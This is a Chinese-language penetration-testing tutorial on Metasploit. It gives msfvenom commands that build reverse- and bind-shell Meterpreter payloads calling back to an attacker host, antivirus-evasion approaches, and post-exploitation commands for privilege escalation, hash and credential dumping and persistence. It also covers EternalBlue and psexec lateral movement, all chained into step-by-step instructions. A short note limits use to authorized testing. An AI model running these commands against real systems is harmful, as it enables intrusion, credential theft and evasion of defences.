MSF 深度实战:模块、Payload 与后渗透

Metasploit 深化:数据库与模块、msfvenom 正反向 Payload、免杀思路、Meterpreter 后渗透、提权与横向。

写在前面:合法学习边界

MSF 仅用于授权测试。对非授权目标利用、后渗透可能触犯法律。

一、MSF 的构成

1
2
3
4
msfconsole:主控制台
模块:exploit / payload / auxiliary / post / encoder
msfvenom:独立 payload 生成器
数据库:记录扫描与主机信息

二、基础操作(深化)

1
2
3
4
5
6
7
8
msfdb init                      # 初始化数据库
msfconsole
db_nmap 192.168.1.10            # 结果入数据库
search type:exploit name:xxx    # 搜模块
use exploit/...                 # 选择
show options / set RHOSTS / run
sessions -l / sessions -i 1     # 会话管理
jobs -l / jobs -K               # 后台任务

三、msfvenom 生成 Payload(正反向)

C2平台通用架构图

反向(reverse,目标出网)

1
2
3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=攻击机 LPORT=4444 -f exe -o shell.exe
# Linux / 其他格式
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=x LPORT=x -f elf -o shell

正向(bind,目标只能进不能出)

1
msfvenom -p windows/meterpreter/bind_tcp RHOST=目标 LPORT=4444 -f exe -o shell.exe

常用格式

1
exe / elf / msi / ps1 / py / php / asp / war

四、免杀思路(授权内)

1
2
3
4
5
6
1. 编码(shikata_ga_nai)—— 老方法,多数已失效
2. 加壳/混淆 —— 降低静态特征
3. 加载器 —— shellcode 加密 + 白名单程序加载
4. 进程注入 —— 内存运行,不落地文件
5. 换 payload/改特征 —— 减少已知签名
注意:免杀是与杀软/EDR 的持续对抗

五、Meterpreter 后渗透

1
2
3
4
5
6
7
8
9
sysinfo / getuid           # 基本信息
getsystem                  # 提权到 SYSTEM
run post/multi/recon/local_exploit_suggester  # 本地提权建议
hashdump                   # 抓哈希
load kiwi / creds_all      # mimikatz 抓凭据
ps / migrate               # 进程注入
download / upload          # 文件
run persistence            # 持久化
shell                      # 系统 Shell

六、横向与提权

1
2
3
4
提权:getsystem + local_exploit_suggester
横向:抓哈希后配合 psexec/wmiexec 模块
auxiliary/scanner/smb/smb_ms17_010:探测永恒之蓝
exploit/windows/smb/ms17_010_eternalblue:利用

完整操作步骤

1
2
3
4
5
6
第 1 步:msfdb init 并启动 msfconsole
第 2 步:按目标出网情况用 msfvenom 生成正反向 payload
第 3 步:起 handler 监听,投递执行
第 4 步:Meterpreter 会话后渗透(getsystem/hashdump)
第 5 步:横向提权、持久化
第 6 步:注意免杀与特征

七、小结

MSF 的核心是“模块化 + 会话 + 后渗透”。用 msfvenom 生成正反向 payload、用 meterpreter 做提权抓凭据、用模块做横向,是一条完整链路。但 MSF 特征明显,免杀要单独处理;配合手工验证和 C2 平台使用效果更好。